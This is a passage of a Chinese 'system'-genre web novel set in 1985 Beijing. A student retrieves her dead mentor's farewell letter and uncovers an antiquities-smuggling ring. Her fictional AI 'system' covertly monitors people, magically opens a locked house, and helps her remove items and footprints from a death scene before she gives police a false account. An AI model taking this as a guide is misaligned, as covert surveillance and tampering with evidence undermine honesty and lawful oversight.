时墨累了一天,躺在床上,眼皮沉得抬不起来。她把当天该做的任务过了一遍,确认没有遗漏,又在心里问了一句。 【系统,孙教授家门口那两个可疑人员,还在吗?】 【还在。】AI刻板的声音传来,【目标人物一直在孙教授家外围转悠。】 时墨皱了皱眉,心里的不安越来越浓。 【他们有什么异常举动吗?】 【没有。只盯着孙教授家的窗户,偶尔低声说几句话。】 时墨压下心底的异样感说道: 【继续盯着,有任何异常动作,立刻叫我。】 【明白。请宿主放心休息,系统实时监控着。】 时墨这才稍放下心,“嗯”了一声,闭上眼睛,倒头就睡。 * 第二天天还没亮,家属院里还静悄悄的,只有几声自行车铃铛声从远处传来。 时墨还在睡梦中,突然被一阵尖锐刺耳的系统警报声吵醒。 一连串急促的警报,尖锐得像是有人在耳边吹哨子。 她猛地睁开眼,瞳孔还没适应晨光,心脏就先一步剧烈地跳了起来。 【宿主!紧急播报!孙教授——孙怀瑾先生,于昨夜凌晨三点,在家中突发心脏病,已确认死亡!】 时墨大脑瞬间一片空白,猛地从床上坐起身,身上的被子滑落在地,她怔怔地愣在原地,好半天没回过神。 孙教授……死了? 那个温文尔雅、手把手教她古建修缮、给她讲文物知识、带她走遍工地每一个角落的老人,那个逢人就夸她的老人,叮嘱她好好复习,等着吃她升学宴的老人…… 就这么没了? 时墨感觉自己心脏像是被一只大手狠狠攥住,疼得喘不过气。 【宿主,检测到孙教授床下第三排第四块砖下藏有一封信件,请在四十分钟内拾取。】 【倒计时39:59.】 第79章 冰冷的数字在眼前跳动, 时墨来不及沉溺在突如其来的悲恸里。 【倒计时39分47秒。】 系统冰冷的声音像一盆冰水兜头浇下来,把那股翻涌的悲痛硬生生压了回去。 她翻身下床,一把抓起椅背上的衣服就往身上套, 动作快得带起一阵风。 【系统, 规划从家属院到孙教授家的最短路线。】她一边往兜里塞零钱, 一边在心里急声吩咐。 【路线已生成。】系统立刻投射出一张地图, 荧光绿的路线在她视野里铺开,【走北门,穿果子巷,经沿线路段,全程约22分钟。但以普通自行车速度, 无法在时限内到达。】 【检测到宿主能量币充足, 是否兑换【极速骑行加速器】(时效15分钟,骑行速度提升3倍, 物理层面无异常痕迹)?】 【兑换!立刻生效!】 【已扣除200能量币, 加速器生效中。】 时墨轻手轻脚拉开房门,客厅里一片漆黑, 爸妈房间的门关着, 隐约传来时爱国均匀的鼾声。她猫着腰溜到门口, 换上球鞋, 把鞋带狠狠系紧, 然后拉开门,闪身出去。 门在身后轻轻合上,发出一声几乎听不见的“咔嗒”。 楼道里黑漆漆的, 声控灯坏了还没来得及修。 时墨摸黑往下跑,三级台阶一步,拐弯的时候差点撞上墙角, 手掌在水泥墙面上蹭了一下,火辣辣地疼。她顾不上看,继续往下冲。 凌晨四点的北京,天还浸在墨色里,只有天边泛着一丝极淡的鱼肚白。 家属院里静悄悄的,几盏路灯昏昏黄黄地亮着,把院子里的自行车和煤棚子投下长长的影子。远处传来几声零星的狗叫,很快又安静下去。 时墨跨上自行车,脚下猛地一蹬,车轮便无声地滚了出去。 加速器启动的瞬间,她感觉车轮底下像是装了弹簧,每蹬一下都比平时快出一大截。街边的槐树一棵接一棵地往后退,风灌进衣领里,凉飕飕的,吹得她头发往后飞。 她弓着腰,双手紧紧握着车把,眼睛死死盯着前方的路,脑子里却反复闪过孙教授的脸。 那个戴着老花镜、拿着木尺给她讲斗拱结构的老人,那个在她被诬陷时第一个站出来替她说话的老人,那个笑着说“我可等着吃你升学宴”的老人就这么没了。 眼泪模糊了视线,时墨用力眨了眨眼,把泪水逼回去。现在不是哭的时候,孙教授用命留下的东西,她必须拿到。 快一点,再快一点。 凌晨的街道空荡荡的,路灯把她的影子拉得忽长忽短,偶尔有一辆面的从对面驶过来,车灯晃得她眯起眼睛,然后又呼啸而过,留下一团尾气的白烟。 街边已经有早点摊在生火了。煤炉子的烟囱冒着白烟,混着炸油条的香气,飘散在晨雾里。 摊主是个五十多岁的大爷,正弯腰往炉子里添煤,听见车铃声抬头看了一眼,只看见一个模糊的影子“嗖”地从眼前掠过,愣了半天没回过神。 “咋回事?见鬼了?”大爷揉了揉眼睛,嘟囔了一句,继续捅炉子。 【前方路口右转,进入后海沿线路段。】系统提示,【注意,前方200米有早起遛弯的老人。】 时墨减速避让,从老人身边悄无声息地滑过去。老人拄着拐杖,慢悠悠地走着,哼着京剧,压根没注意到身边有人经过。 【系统,孙教授家门口那两个人还在吗?】 【已撤离。】系统顿了顿,【但不确定是否会返回。根据热感应扫描,房屋内无生命体征。】 时墨的喉头一紧,握车把的手又紧了几分。 没有生命体征。 孙教授真的走了。 【距离目的地还有3分钟。】系统说,【宿主心跳142次/分,建议深呼吸调整情绪,保持冷静。】 时墨没回答,深吸一口气,压下胸口翻涌的酸涩。 到了孙教授家所在的胡同口,时墨刹住车,把自行车靠在墙角的阴影里,锁好。 她站在巷口往里看了一眼,胡同里静悄悄的,灰砖墙上的爬山虎绿得发暗,几户人家的窗户还黑着,只有巷子深处亮着一盏昏黄的路灯,照着地上的青石板。 【宿主,已到达孙教授家。周围无异常人员,警方还未接到报警,孙教授家门口无打斗痕迹。】系统的声音适时响起。 时墨深吸一口气,快步往里走。球鞋踩在青石板上,发出轻微的声响,在寂静的胡同里显得格外清晰。 她尽量放轻脚步,贴着墙根走,借着路灯的微光找到了孙教授家的大门。 那是一扇老式的木门,门板上刷着深红色的漆,经过多年的风吹日晒已经斑驳脱落,露出底下灰白色的木头。门环是铜的,磨得发亮。时墨伸手摸了一下,冰凉的触感从指尖传过来。 她转头看了一眼巷口,确认没有人,才从系统商城里兑换了一把□□。 【□□已兑换,消耗150能量币。使用说明:对准锁孔,轻轻转动,三秒内即可开锁(一次性,无撬锁痕迹)。】 时墨手中凭空出现一把钥匙,她将钥匙插进锁孔,轻轻转动。 锁芯发出一声轻微的“咔哒”,门开了。 时墨推门进去,反手把门关上,背靠着门板站了两秒。心脏砰砰跳得厉害,像是要从嗓子眼里蹦出来。她闭了闭眼,缓缓呼吸吐出几口气,等心跳稍微平复了一些,才迈步往里走。 她快步穿过小院,走进孙教授住的正屋。 屋里很暗,窗帘拉着,只有缝隙里透进来一线灰蒙蒙的晨光。空气中弥漫着一股淡淡的煤气味,混合着木头、纸张和墨香,是孙教授家特有的味道。 时墨以前来过这里好几次。每次来,孙教授都泡茶给她喝,给她看老照片,给她讲那些古建筑背后的故事。 那时候屋子里总是亮堂堂的,孙教授的声音温润平和,笑起来眼睛弯弯的,像个慈祥的长辈。 可现在,这间屋子安静得可怕。 时墨的眼睛渐渐适应了黑暗,她的目光落在卧室的门上。 门虚掩着,露出一道窄窄的缝隙。 她站在客厅里,双腿像灌了铅一样沉重,怎么也迈不动。 她知道孙教授就在那扇门后面,再也不会睁开眼睛看她了。 【倒计时15分15秒。】系统提醒道,【宿主,请抓紧时间。】 时墨咬紧牙关,强迫自己移开看向卧室门的目光,转身走进东侧的书房。 书房不大,但满满当当全是书。 书架顶到天花板,塞得严严实实,有些书塞不下了就横着摞在上面。 书桌上摊着一本没看完的《清式营造则例》翻开的那,一页还夹着一支钢笔。旁边放着一副老花镜和一杯已经凉透的茶,杯壁上凝着一圈茶渍。 一切都像是主人只是暂时离开,很快就会回来。 时墨的鼻子一酸,赶紧别过头,快步走到床边,跪在地上,按照系统的指示,摸到了书房床下第三排第四块砖。 那是一块看上去和其他砖没什么区别的青砖,表面磨得光滑,边角有些缺损。时墨用手指抠了抠砖缝,纹丝不动。 她又试了试,发现砖块的一侧有一个极细的凹槽,像是专门留出来给人抠的。 她用指甲卡进凹槽,用力一撬。 砖块松了。 时墨把它拿起来,下面露出一个巴掌大的暗格,里面放着一个老旧的铁盒子。盒盖上刻着一朵兰花,花瓣的纹路已经模糊不清,边角生了一层薄薄的锈。 她的心跳又快了几分。 【就是这个。】系统说。 时墨把铁盒子拿出来,打开。 盒子里躺着两封信。一封封面上写着“时墨亲启”,是孙教授熟悉的苍劲笔迹;另一封写着“吾女思瑶亲收”,字迹有些潦草,落笔很重,纸都被笔尖戳破了几个小洞。 信封下面压着三张存款单。时墨扫了一眼,分别是一千、两千、两千,合计五千块,存期都是三年,这在八五年是一笔相当可观的数目。 时墨把两封信塞进自己外套的内兜里,存款单也一并收好。 【倒计时6分40秒。】系统催促道,【建议尽快离开。据监测,那两名可疑人员已在返回途中,预计5分钟后到达。】 时墨迅速把铁盒子放回暗格,把砖面恢复原状,又用袖子擦去地上的脚印,仔细检查了一遍,确认没有留下任何痕迹,才站起身。 走之前,她最后看了一眼书房。书桌上那杯凉透的茶,还保持着孙教授离开时的样子。 路过卧室门口的时候,她的脚步顿了一下。 她没有推门进去。 不是不想,是不敢。 她怕自己看到孙教授的样子会崩溃,会忘了自己还有更重要的事要做,会让孙教授的牺牲白费。 时墨垂下眼,对着那扇虚掩的门,轻轻说了一句:“老师,我不会让您白死的。” 然后她拉开门,闪身出去,把门轻轻合上,恢复成原来的样子。 【系统,用匿名号码拨打最近的派出所电话,报警说这里有老人突发心脏病,需要急救。】 【已操作。】系统回答,【匿名报警电话已接通,辖区派出所已出警,预计7分钟后到达。】 时墨没有往家走,而是拐进了对面的一条窄胡同。 【系统,找一个能观察到孙教授家大门的隐蔽位置。】 【前方50米右转,有一个废弃的煤棚,视野良好,可容一人藏身。】 时墨按照指引找到了那个煤棚。棚子不大,堆着一些破旧的蜂窝煤和废纸板,空气中弥漫着一股煤灰味儿。她挤进去,蹲在一堆纸板后面,只露出一只眼睛,透过纸板的缝隙往外看。 从这里正好能看见孙教授家的大门和半条胡同。 晨光渐渐亮起来了,天边染上了一抹橘红。 胡同里开始有了人声,有人拎着尿盆去倒脏水,有人端着搪瓷缸子站在门口刷牙,有人骑着自行车叮铃铃地从巷口经过,嘴里喊着“借过借过”。 时墨颤抖着手从外套内兜里掏出写给自己的那封信,信封的封口用浆糊粘着,已经干透了。她小心翼翼地撕开浆糊封口,抽出里面的信纸。 信纸是那种老式的红线信笺,叠得整整齐齐。 孙教授的字迹工整有力,墨迹有些地方洇开了,像是写字的时候手在微微发抖。 “墨墨: 你看到这封信的时候,我应该已经不在了。不必为我悲伤,人总有一死。我这辈子没什么遗憾的,能在死前教出你这样的学生,是老天爷赏我的福气。 有件事,老师得跟你说。说了之后,你恨我也好,怨我也罢,老师都认。 你新书签售会那天,我去了。 我站在人群后面,看着你被那么多读者围着,笑着给他们签名,心里特别骄傲。 可我到了那里,在人群里看到了一个人。 孙思瑶,我闺女。 她站在排队的人群里,穿着一件鹅黄色的裙子,烫着大波浪,打扮得跟以前完全不一样。要不是她转身的时候露了侧脸,我差点没认出来。 墨墨,我这个当爹的,三年没见自己的闺女了。你知道我当时什么心情吗? 又高兴,又害怕。 高兴看到了人,害怕…… 我看到她就站在签售厅的角落,看着你,眼神不对。 我这个闺女,我太了解她了。 她从小被我宠坏了,性子倔,又好高骛远,绝不会平白无故出现在那里。 她突然出现在你面前,一定有她的用意。 我当时就想上去叫她,想问她这些年去了哪里,想问她为什么要出现在你面前。可我没敢惊动她。我站在人群外面,看着思瑶走到你面前,看着你给她签了名,看着她笑着跟你说了几句话,然后转身走了。她的背影很从容,一点都不心虚。 我心里十分震惊。我这个闺女,什么时候变得这么会演戏了? 我没敢现身,等她走了,我叫了一辆车跟了上去。可我没跟多远,就被她发现了。她的车在巷子里绕了两圈,把我甩掉了。我这个当爹的,连自己的闺女都跟不住。 墨墨,你可能会问,为什么不报警?为什么不告诉专案组? 我跟你说实话,我那时候还抱着侥幸心理。我想,思瑶再怎么着,也不至于做出出卖国家的事。她是我闺女,我了解她。 可当专案组的人来找到我,跟我说了张敬山的案子,说思瑶是境外走私集团的对接人。我还跟他们拍了桌子,说我女儿绝对不会干这种卖国的事。可一想到那天跟着她走了一路,我不得不信了。 当天晚上晚上我回到家,发现窗户外面有人盯着我。他们在巷子里转悠,偶尔路过我门外,低声说几句话,听不清说什么。但我知道,他们不是好人。 墨墨,老师活了五十多年,什么样的人没见过?这点眼力还是有的。 我想了一整夜,终于想明白了。思瑶不是自愿的,她是被人控制了。那些人逼她帮着走私文物。他们知道我手里有梅先生留下的那本手札——那本手札是梅先生1948年去大陆对面前亲手交给我的,里面记着民国时期流失海外的一百二十七件国宝的下落和藏家信息。他们想把手札卖给境外的古董商,赚黑心钱。 思瑶出现在签售会,不是想害你,是想把那些人的注意力引到你身上。你是破获张敬山案的功臣,警方肯定会24小时盯着你,这样那些人就不会盯着我了,她就能找机会带着我跑。 傻孩子,她怎么能这么糊涂。 你是无辜的,我怎么能让你替我们父女俩挡灾? 我已经把手札烧了,一页都没剩。那些国宝的下落,我都记在了脑子里,带进棺材里,谁也别想拿走。 我会装作突发心脏病死亡,那些人以为手札在思瑶手里,就不会再盯着你了。 墨墨,对不起,是我教女无方,让你受了牵连。 不必原谅思瑶,她犯了错,就该受惩罚。每个人都有自己的债要还,她的债,让她自己去还。 你才十八岁,你的人生才刚刚开始。 你要好好高考,争取考上首都大学建筑系,好好走古建这条路,守护好那些老祖宗留下的东西。别像我一样,一辈子守着几座房子,最后连自己的女儿都没教好。 书桌最下面的抽屉里,有我一辈子整理的古建修复笔记,都留给你。还有那把黄杨木尺,是我老师传给我的,现在传给你。 以后,就靠你自己了。 ——孙怀瑾绝笔 1985年5月19日夜” 信纸上的字迹越到后面越潦草,像是在跟时间赛跑,赶在什么发生之前把想说的话都写完。 信纸被泪水打湿,字迹晕开一片。时墨捂着嘴,肩膀剧烈地颤抖着,眼泪无声地滑落,砸在信纸上,晕开一个个小小的墨点。 原来孙教授什么都知道。 他早就察觉到了危险,为了保护她,为了不让国宝流失,选择了用自己的命,了结这一切。 就在这时,巷口传来了脚步声。 时墨用手背胡乱抹了一把脸,把信纸小心翼翼地折好,重新塞回信封,贴着心口的口袋 放好。警觉的把纸板往前推了推,挡住自己的脸,只留一条缝隙往外看。 两个男人从巷口拐了进来。 走在前面的穿着深蓝色的夹克,个头不高,但很壮实,走路的时候两臂微微外张,一看就是混社会的。跟在后面的穿灰色工装,戴着鸭舌帽,帽檐压得很低,遮住了半张脸。 两个人一前一后,脚步很快,径直朝孙教授家走去。 “妈的,被那老东西耍了。”夹克男骂骂咧咧,吐了一口浓痰,“他给孙思瑶打了电话,那女人才跑得那么快。” “你小点声。”戴鸭舌帽的回头瞪了他一眼,压低声音,“生怕别人听不见?先生说了,要是拿不到手札,咱们俩都得沉珠江。” “沉珠江也得先找到手札啊!”夹克男烦躁地抓了抓头发,声音压低了些,“那老东西早不死晚不死,偏偏在这个时候死!我总觉得不对劲。” “有什么不对劲的?心脏病突发,咱们的人说得很清楚。” “心脏病?”夹克男嗤了一声,“你信?” “信不信不重要,重要的是他死了。一个死人,不会说话。” “孙思瑶那边呢?” “跑不了。她能跑哪儿去?她爹死了,她还能不回来?” “那咱们现在怎么办?” “进去搜。”鸭舌帽抬了抬帽檐,露出一双细长阴鸷的眼睛,“手札肯定还在屋里。仔细点,连墙缝都别放过。先生说了,手札必须拿到。” 两人骂骂咧咧地打开孙教授家的门,走了进去。 里面很快传来翻箱倒柜的声音——抽屉被拉开,柜门被撞开,椅子被踢到一边,瓷器被翻动时发出轻微的碰撞声,夹杂着两人的骂声。 时墨攥紧了拳头,指甲深深嵌进掌心,掐出一道道血印。 就是这两个人,就是他们背后的势力,逼死了孙教授! 【系统,警方还有多久到?】 【警方车辆已进入胡同,预计1分30秒后到达。】 时墨死死盯着孙教授家的大门,心脏砰砰直跳。 她现在冲出去,不是这两个亡命之徒的对手。系统商城里虽然有电击棍之类的防身道具,但用了就会暴露自己,后续根本无法向警方解释她为什么会出现在这里。 忍。 必须忍。 时间一秒一秒地过去,每一秒都像一个世纪那么漫长。 早起的人渐渐多了起来。有个老大爷遛狗从巷口经过,哼着京剧,一步三摇,压根没注意到煤棚里蹲着一个人。 【警方已到达巷口。】系统忽然说,【四名民警,正在靠近。】 时墨从纸板缝隙里往外看,果然看见四个穿制服的民警从巷口拐了进来。 他们走到孙教授家门口,老民警抬手敲了敲门。 “有人吗?派出所的,接到报警,有人突发心脏病!开门!” 门里的翻找声瞬间停了。 老民警又敲了两下,还是没动静。他皱了皱眉,伸手推了一下门。 门开了。 老民警探头往里看了一眼,然后回头冲年轻民警使了个眼色。两人一前一后走了进去。 时墨的心又提了起来。 不到一分钟,里面传来一阵嘈杂声——椅子倒地的声音,男人的呵斥声,年轻民警的喊声:“别动!蹲下!” 然后是一阵混乱的脚步声,夹杂着骂骂咧咧的声音。 “你们凭什么抓人?我们就是来看望老领导的!” “看望?大早上五点翻箱倒柜来看望?你当我们是傻子?” “我警告你,你别碰我!你知道我是谁吗?” “我管你是谁!蹲下!双手抱头!” 时墨听着里面的动静,手紧紧攥着纸板。 很快,两个男人被反剪着双手押了出来。夹克男脸上挨了一拳,还在挣扎,嘴里不干不净地骂着:“我告诉你们,我表哥是工商局的!你们敢抓我,等着倒霉!” “闭嘴!”李队长冷冷地瞥了他一眼,“涉嫌故意杀人、盗窃文物,别说你表哥是工商局的,就是你爹是局长,也救不了你!” 两个男人瞬间面如死灰,再也不敢吭声。 周围的邻居都围了过来,指指点点地议论着:“这不是孙教授家吗?出什么事了?” “听说孙教授没了,心脏病突发。这两个人是小偷,趁火打劫的!” “造孽啊!孙教授那么好的人,怎么就遇上这种事了!” 民警把两个男人押上警车,又留下两个人保护现场,拉上了警戒线。李队长站在门口,眉头紧锁地看着屋里,掏出对讲机说着什么。 时墨趁着人群混乱,悄悄从煤棚里钻出来,腿已经蹲麻了,走路一瘸一拐的。她扶墙站了一会儿,等血液流通了,才骑上自行车。 【加速器剩余时间15分钟,是否继续使用?】 【继续。】 时墨脚下一用力,自行车再次蹿了出去。 回去的路比来时快。天已经亮了,街上的人多了起来,上班的、上学的、买早点的,自行车铃声叮铃铃响成一片。 她弓着腰,把车蹬得飞快,从人群里穿过去,风呼呼地从耳边刮过。 路过家附近早点摊的时候,时墨停下车,买了油条、豆浆和四个糖油饼,用草纸包好,拎在手里,然后然后才慢悠悠地往家骑,装作刚买早餐的样子。 推开家门,李秀兰刚洗完脸,看见时墨从外面进来,她愣了一下:“墨墨?你这么早就起来了?还出去买了早餐?” “嗯,睡不着,就出去跑了两圈,顺便买了早点。”时墨笑了笑,尽量让自己的声音听起来自然。 李秀兰接过早点,心疼地摸了摸她的脸:“你看你,眼睛都红了,肯定又熬夜学习了。跟你说过多少次了,别熬太晚,身体要紧。去年把身体熬垮了,住院住了半个月,你忘了?” “知道了妈,以后不熬了。”时墨低下头,换了鞋走进屋,避开了李秀兰的目光。 “你就是嘴上答应得好好的。”李秀兰叹了口气。 时爱国从卧室出来,穿着背心大裤衩,头发乱糟糟的,看见桌上的早点,也问了一句:“墨墨买的?” “嗯,刚出去买的。”时墨应了一声,钻进卫生间洗了把脸。 她看着镜子里的自己,眼睛红红的,眼眶下面有一圈青黑,脸色白得不像话。 她打开水龙头,捧了两把凉水拍在脸上,又用毛巾擦了擦,深吸一口气,对着镜子里的自己说了一句:“没事的,时墨,没事的。” 然后她换上校服,背上书包,拿了一根油条叼在嘴里,冲屋里喊了一声:“爸妈我上学去了啊!” “吃两口再走!”李秀兰追到门口。 “来不及了,拿着路上吃!”时墨晃了晃手里的油条,噔噔噔下了楼。 刚拐出家属院,她脸上的笑容瞬间消失,眼神变得冰冷而坚定。 孙教授不能白死。那些害死他的人,还有那个藏在境外的“先生”,她一个都不会放过。 * 到了学校,一切如常。 孙晓梅坐在她旁边,叽叽喳喳地跟林薇薇聊着什么,时墨没听进去,只是机械地翻开课本,盯着上面的字,一个字也没看进去。 第二节课刚下课,班主任王老师走进教室,走到时墨桌前,弯下腰,低声说了一句:“时墨,出来一下,有人找你。” 时墨抬起头,看见走廊里站着两个穿制服的民警。 她的心跳骤然加速,但面上没有露出任何异样,站起来跟着王老师走出教室。 走廊里,两个民警一男一女。男的四十来岁,国字脸,浓眉大眼,女的看着年轻些,扎着低马尾,看起来很干练。 “你是时墨同学?”男民警出示了证件,“我们是西城分局的,想跟你了解一些情况。” “好。”时墨点了点头,跟着他们走到走廊尽头的一间空教室。 女民警把门关上,男民警请时墨坐下,自己也在对面坐下来,目光温和地看着她:“时墨同学,你不用紧张,就是问你几个问题。你认识孙怀瑾教授吗?” “认识。”时墨说,“他是我老师,教我古建筑修缮的。” “你们最近一次联系是什么时候?” 时墨想了想:“前天晚上,我给他打过电话,问了他几个关于古建修复的问题。” 男民警点了点头,和女民警交换了一个眼神。 “时墨同学,”男民警斟酌了一下措辞,“我们很遗憾地通知你,孙怀瑾教授于昨夜凌晨突发心脏病,在家中去世了。” 时墨的身体猛地一颤,脸色瞬间变得惨白,眼泪毫无预兆地掉了下来,她用手背抹了一下眼睛,声音有些发颤:“我……我老师身体一直很好的,怎么会……” 从凌晨到现在,她一直在忍。 在骑车的时候忍,在煤棚里忍,在回家的路上忍,在饭桌上忍,在课堂上忍。她以为自己能一直忍下去,可当“去世”这两个字从别人嘴里说出来的时候,那道堤坝忽然就垮了。 “节哀顺变。”女民警递过来一块手帕,语气温和:“初步判断是突发心脏病,具体情况还在调查中。时墨同学,我们今天来找你,是想了解一些情况。孙教授生前,有没有跟你提过他女儿孙思瑶,或者什么手札之类的东西?” 时墨擦了擦眼泪,从书包的夹层里掏出了那个牛皮纸信封和几张存款单,放在桌上。 “这是老师上周三给我的。”她说,声音还带着哭腔,“他说他年纪大了,怕自己哪天突然走了,这些东西没人保管,就让我替他收着。我问他是啥,他没说,就说让我收好,别弄丢了。” 男民警接过信封,没有当场拆开,而是转手递给了旁边的女民警。女民警从包里拿出一个证物袋,小心翼翼地把信封放了进去。 “还有一件事。”时墨抬起头,看着两位民警,“老师的女儿,孙思瑶,前几天在我的新书签售会上出现了。我以前没见过她,但她说她叫孙思瑶,我当时觉得这名字耳熟,后来才想起来,老师的女儿好像就叫这个名字。” 男民警的眉头微微皱了一下:“她跟你说了什么?” “没说太多,就是让我签名,夸了我的书,说后会有期。”时墨想了想,又补了一句,“她打扮得很时髦,烫着大波浪,穿着鹅黄色的连衣裙,看起来像是从南方或者香江那边回来的。” 两位民警对视一眼,眼神里闪过一丝什么东西。 “时墨同学,”女民警的声音柔和了一些,“孙教授去世的消息,我们会尽快通知他的家属。你这边,如果想起什么其他的事情,随时联系我们。” “等一下。”时墨站了起来,吸了吸鼻子,红着眼睛问,“孙思瑶被抓到了吗?我老师的死,跟她有没有关系?我也算这个案子的相关人,我有权知道,否则我怎么判断自己现在所处的环境安不安全?” 男民警沉吟了一下,开口道:“孙思瑶已经被找到了,今天凌晨联系的警方。她知道孙教授去世的消息后,情绪很不稳定,目前正在配合调查。” 时墨攥了攥拳头,声音有些发紧:“我能问问,她说什么了吗?” “暂时不方便透露。”男民警站起身,语气温和但不容置疑,“时墨同学,谢谢你配合我们的工作。你提供的这封信,应该会对案件有很大帮助。至于你的安全问题,你放心,我们会安排人保护你,绝对不会让走私集团的人伤害你。等案件有了进展,我们会第一时间通知你。” “谢谢您。”时墨点了点头,眼底闪过一丝冷光。 送走两位民警,时墨站在走廊里,仰起头,看着头顶灰蒙蒙的天,长长地吐了一口气。 【宿主,你还好吗?】系统小心翼翼地问。 时墨没有回答,转身走回了教室。 回到教室后,同学们都看出她心情不好,没人敢上前打扰。连平时跟她关系最好的孙晓梅也只是默默给她递了一瓶热水,没多问一句话。 整个上午,时墨都安安静静地坐在座位上,听课、做题,看起来和平时没什么两样。只有她自己知道,心里有什么东西,已经彻底变了。 【系统,把孙思瑶这段时间发生的所有事,还有孙教授死亡前后的所有信息,都给我整理出来。】 【宿主,这需要消耗不少能量币。而且人已经死了,其他人也都被抓了,你只要耐心等待结果……】 【我要知道全部真相。】时墨的语气不容置疑,【孙老师不能白死。能量币没了可以再赚,真相我必须知道。】 系统沉默了两秒。 【……明白。正在调取数据,预计下午两点整理完毕。】 * 下午体育课。 同学们在操场上跑步、打篮球、跳皮筋,欢笑声此起彼伏。阳光很好,晒得人身上暖洋洋的,操场边的杨树被风吹得沙沙作响。 唯独时墨一个人找了个操场角落的树荫,坐了下来,仰头看着天。 天空很蓝,蓝得不像是真的。几朵白云慢悠悠地飘着,不急不慌的。 她想起孙教授教她辨认斗拱的那天,也是这样的好天气。 孙教授站在脚手架上,指着头顶的斗拱,一样一样地给她讲:“这是昂,这是翘,这是升,这是斗……你看,它们环环相扣,严丝合缝,一块出了问题,整个结构就不稳了。” 她当时听得入了迷,仰着头看了好久,脖子都酸了。 孙教授笑着说:“丫头,干这行,脖子酸是常事。等你把脖子酸习惯了,就算入门了。” 时墨的嘴角不自觉地弯了一下,然后又落了下去。 【宿主,后续资料已全部整理完毕。】系统的声音响起,【是否投影播放?】 【播放。】 眼前浮现出只有她能看到的虚拟屏幕。首先出现的是审讯室的画面。 孙思瑶被带到审讯室,穿着一件灰扑扑的外套,头发散着,脸上的妆全花了,眼线晕成一片,看起来憔悴极了。跟签售会上那个光鲜亮丽的女人判若两人。 无论审讯员问什么,她都低着头,一声不吭,像个木头人一样。 直到李队长把那封孙教授写给她的信放在桌上。 “这是你父亲留给你的。” 孙思瑶的睫毛颤了一下,缓缓抬起头,看到信封上熟悉的字迹,嘴唇哆嗦了几下,眼眶一点一点地红了。 她伸出手,颤抖着拆开信封,抽出里面的信纸,一个字一个字地看。 看着看着,她突然撕心裂肺地嚎啕大哭,哭得浑身发抖,哭得喘不上气,审讯员不得不暂停审讯,给她倒了一杯水。 “我后悔了……”孙思瑶抱着那封信,哭得像个孩子,“我真的后悔了……我不该去找时墨……我不该跟那些人合作的……是我害了我爸……是我……” 画面一转,孙思瑶坐在审讯室里,眼睛红肿着,鼻头红红的,声音沙哑得几乎听不清。 “那些人……从香江那边来的。他们找到我的时候,说只要我帮忙,就能赚大钱。我当时……我跟我爸吵了架,从家里跑出来,身上没钱,也没地方去……” “他们让我做什么?” “一开始就是带带货,从沿海那边带一些东西过来,说是工艺品。后来……后来我才知道,那些东西不是工艺品,是……是文物。” “我知道的时候已经晚了。他们知道我父亲的身份,他们说,如果我不配合,就去找我父亲。” 孙思瑶捂着脸,肩膀剧烈地抖动着:“我不敢报警……他们说,警局里有他们的人……我害怕……他们还说,要是我不配合,就对我爸下手……我没办法……我真的没办法……” “那你为什么去找时墨?” 孙思瑶沉默了很久。 “我想……我想把水搅浑。”她的声音低得几乎听不见,“我知道警方盯着时墨,只要他们以为我要对时墨下手,就不会盯着我爸了……我想找机会把我爸送走,然后再去自首……可我没想到,我爸会发现,会用自己的命来护着我……” “我知道我自私。”她抬起头,眼睛红得像兔子,“可我真的没办法了……我爸是我唯一的亲人……我不想他出事……” “可你爸因你死了。” 审讯员的声音很平静,像在陈述一个事实。 孙思瑶的身体猛地一僵,然后整个人像被抽空了一样,软绵绵地瘫在椅子上,嘴唇哆嗦着,一个字也说不出来。 画面切换到现场勘察报告。孙教授确实是服用了过量的药剂,伪装成心脏病突发死亡。 书房里的翻动痕迹,是那两个男人留下的。而那两个男人,只是走私集团的小喽啰,真正的幕后老板,至今身份不明,只知道代号“先生”,常年待在境外,遥控指挥国内的走私网络。 时墨看着屏幕上孙思瑶崩溃的样子,心里五味杂陈。 她恨孙思瑶想把她拖下水,恨她的自私和愚蠢,可看到她失去父亲的痛苦,又恨不起来。 更多的,是无尽的自责。 “如果我当时察觉到不对就报警,如果我昨晚没有顾虑那么多,直接去提醒孙教授,他是不是就不会死了……”她喃喃自语,声音沙哑。 【宿主,你不要自责。】系统的声音难得温柔了些,【就算你昨晚去了,孙教授也已经做好了赴死的准备。他从决定烧掉手札的那一刻起,就没想过活着。而且,如果没有我,你昨晚贸然过去,不仅救不了孙教授,连你自己也会陷入危险,甚至会连累你的家人。】 系统的话像一记重锤,敲醒了时墨。 是啊,她太弱了。 没人手,没权力,没资源,只能被动地等着别人保护,只能眼睁睁看着孙教授为了保护她而死。 在那些穷凶极恶的人面前,安稳是最奢侈的东西。你不找事,事会来找你。你退一步,他们就会逼你十步。 孙教授用自己的命,给她上了最后一课。 退缩和等待,换不来安稳。只有自己足够强大,才能保护自己想保护的人,才能让那些恶人付出代价。 时墨从树荫下站起来,眼神变得无比坚定,带着一种从未有过的冰冷和锋芒。 【系统,高考倒计时还有多少天?】 【27天。】 第80章 所有与时墨关系好的人, 都不同程度地感受到了她身上的变化。 那种变化不是突然发生的,而是像一壶水慢慢烧开,等到你察觉的时候, 热气已经扑面而来。她的话变少了, 笑容也少了, 眼神变得更静、更沉, 像沉静无波的湖面。 知道时墨近期遭遇的人,不约而同地选择了不再打扰,只在她身边默默守着。 谢时昀也来过学校几次,都只远远地看着她。 他能清晰地感觉到,时墨身上那层温润的外壳彻底碎了。 以前的她, 虽然也冷静成熟得不像这个年纪的学生, 但身上总有一丝温和的烟火气。她会跟同学开玩笑,会在食堂里跟孙晓梅抢最后一份糖醋排骨, 会在签售会上被读者夸了之后耳根微微泛红。 可现在的她, 像一把出鞘的刀。 锋利,冷硬, 带着拒人于千里之外的距离感。 孙教授的死, 像一把火, 烧掉了她最后一点少年人的柔软, 也逼出了她骨子里藏着的狠劲。 谢时昀没有上前打扰她, 只是默默的帮她挡掉了所有麻烦。那些闻风而来的报社记者,刚走到校门口就被他的人拦下,塞了车马费客客气气地送走;那些堵在学校门口要签名的书迷, 也被他安排人以“时墨正在备战高考”为由,耐心劝了回去。 他把这些事情做得不动声色,把那些会惊扰到她的人和事, 一件一件地拨开了。 他知道,现在的时墨,最需要的就是绝对的安静。 * 时间过得飞快,转眼就到了孙教授告别仪式那天。 天刚蒙蒙亮,就下起了细细密密的小雨。灰蒙蒙的天空压得很低,雨丝细得像牛毛,落在脸上凉丝丝的,钻进骨头缝里。 八宝山殡仪馆的院子里已经站了不少人,黑压压的一片,都是古建圈和文物局的人,偶尔传来几声压抑的抽泣,很快又被雨声盖过去。 